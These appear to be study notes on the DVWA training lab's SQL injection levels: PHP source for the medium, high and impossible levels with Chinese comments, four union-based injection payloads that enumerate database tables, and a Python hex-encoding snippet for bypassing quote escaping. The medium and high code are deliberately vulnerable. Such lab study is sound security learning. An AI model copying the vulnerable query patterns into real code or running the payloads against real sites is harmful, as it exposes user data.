SQL Injection Source

vulnerabilities/sqli/source/medium.php

<?php

if( isset( $_POST[ 'Submit' ] ) ) {

    // Get input

    $id = $_POST[ 'id' ];

//使用 mysqli_real_escape_string() 函数来转义单引号和双引号等特殊字符

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    switch ($_DVWA['SQLI_DB']) {

        case MYSQL:

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

            // Get results

            while( $row = mysqli_fetch_assoc( $result ) ) {

                // Display values

                $first = $row["first_name"];

                $last  = $row["last_name"];

                // Feedback for end user

                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

            }

            break;

        case SQLITE:

            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

            #print $query;

            try {

                $results = $sqlite_db_connection->query($query);

            } catch (Exception $e) {

                echo 'Caught exception: ' . $e->getMessage();

                exit();

            }

            if ($results) {

                while ($row = $results->fetchArray()) {

                    // Get values

                    $first = $row["first_name"];

                    $last  = $row["last_name"];

                    // Feedback for end user

                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

                }

            } else {

                echo "Error in fetch ".$sqlite_db->lastErrorMsg();

            }

            break;

    }

}

// This is used later on in the index.php page

// Setting it here so we can close the database connection in here like in the rest of the source scripts

$query  = "SELECT COUNT(*) FROM users;";

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);

?>

1 order by 3 #

1 union select 1,2 #

1 union select 1,database() #

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

import binascii

input_string = "users"  # 待转换的字符串

# 使用 binascii 模块的 b2a_hex() 函数将字符串转换为十六进制格式

hex_string = binascii.b2a_hex(input_string.encode('utf-8'))

print(hex_string)  # 输出转换后的十六进制字符串

SQL Injection Source

vulnerabilities/sqli/source/high.php

<?php

if( isset( $_SESSION [ 'id' ] ) ) {

    // Get input

    $id = $_SESSION[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {

        case MYSQL:

            // Check database

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

            // Get results

            while( $row = mysqli_fetch_assoc( $result ) ) {

                // Get values

                $first = $row["first_name"];

                $last  = $row["last_name"];

                // Feedback for end user

                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

            break;

        case SQLITE:

            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

            #print $query;

            try {

                $results = $sqlite_db_connection->query($query);

            } catch (Exception $e) {

                echo 'Caught exception: ' . $e->getMessage();

                exit();

            }

            if ($results) {

                while ($row = $results->fetchArray()) {

                    // Get values

                    $first = $row["first_name"];

                    $last  = $row["last_name"];

                    // Feedback for end user

                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

                }

            } else {

                echo "Error in fetch ".$sqlite_db->lastErrorMsg();

            }

            break;

    }

}

?>

SQL Injection Source

vulnerabilities/sqli/source/impossible.php

<?php

if( isset( $_GET[ 'Submit' ] ) ) {

    // Check Anti-CSRF token

    //isset()用于检查变量是否已设置并且非 NULL。

    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    /*checkToken() 是一个自定义函数，用于检查传递的安全令牌是否有效，以确保请求不是恶意伪造的。

该函数接受三个参数：

user_token：从用户请求中接收的安全令牌。

session_token：存储在用户会话中的安全令牌。

redirect：重定向的页面 URL。

该函数将首先检查 user_token 和 session_token 是否匹配。如果不匹配，则可能是 CSRF 攻击，该函数将终止脚本并打印错误消息。如果匹配，则函数将返回 true。

该函数通常用于处理任何可能受到 CSRF 攻击的操作（例如表单提交）。它是一种常见的安全技术，以确保请求来自预期的来源，并且用户已经授权执行请求的操作。*?

*/

    // Get input

    $id = $_GET[ 'id' ];

    // Was a number entered?

    //is_numeric用于检查一个值是否为数字或数字字符串。如果值为数字或数字字符串，则该函数返回 true，否则返回 false。

    if(is_numeric( $id )) {

        $id = intval ($id);

        switch ($_DVWA['SQLI_DB']) {

            case MYSQL:

                // Check the database

                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

                $data->bindParam( ':id', $id, PDO::PARAM_INT );

                $data->execute();

                $row = $data->fetch();

                // Make sure only 1 result is returneda

                if( $data->rowCount() == 1 ) {

                    // Get values

                    $first = $row[ 'first_name' ];

                    $last  = $row[ 'last_name' ];

                    // Feedback for end user

                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

                }

                break;

            case SQLITE:

                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );

                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);

                $result = $stmt->execute();

                $result->finalize();

                if ($result !== false) {

                    // There is no way to get the number of rows returned

                    // This checks the number of columns (not rows) just

                    // as a precaution, but it won't stop someone dumping

                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();

                    if ($num_columns == 2) {

                        $row = $result->fetchArray();

                        // Get values

                        $first = $row[ 'first_name' ];

                        $last  = $row[ 'last_name' ];

                        // Feedback for end user

                        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

                    }

                }

                break;

        }

    }

}

// Generate Anti-CSRF token

generateSessionToken();

?>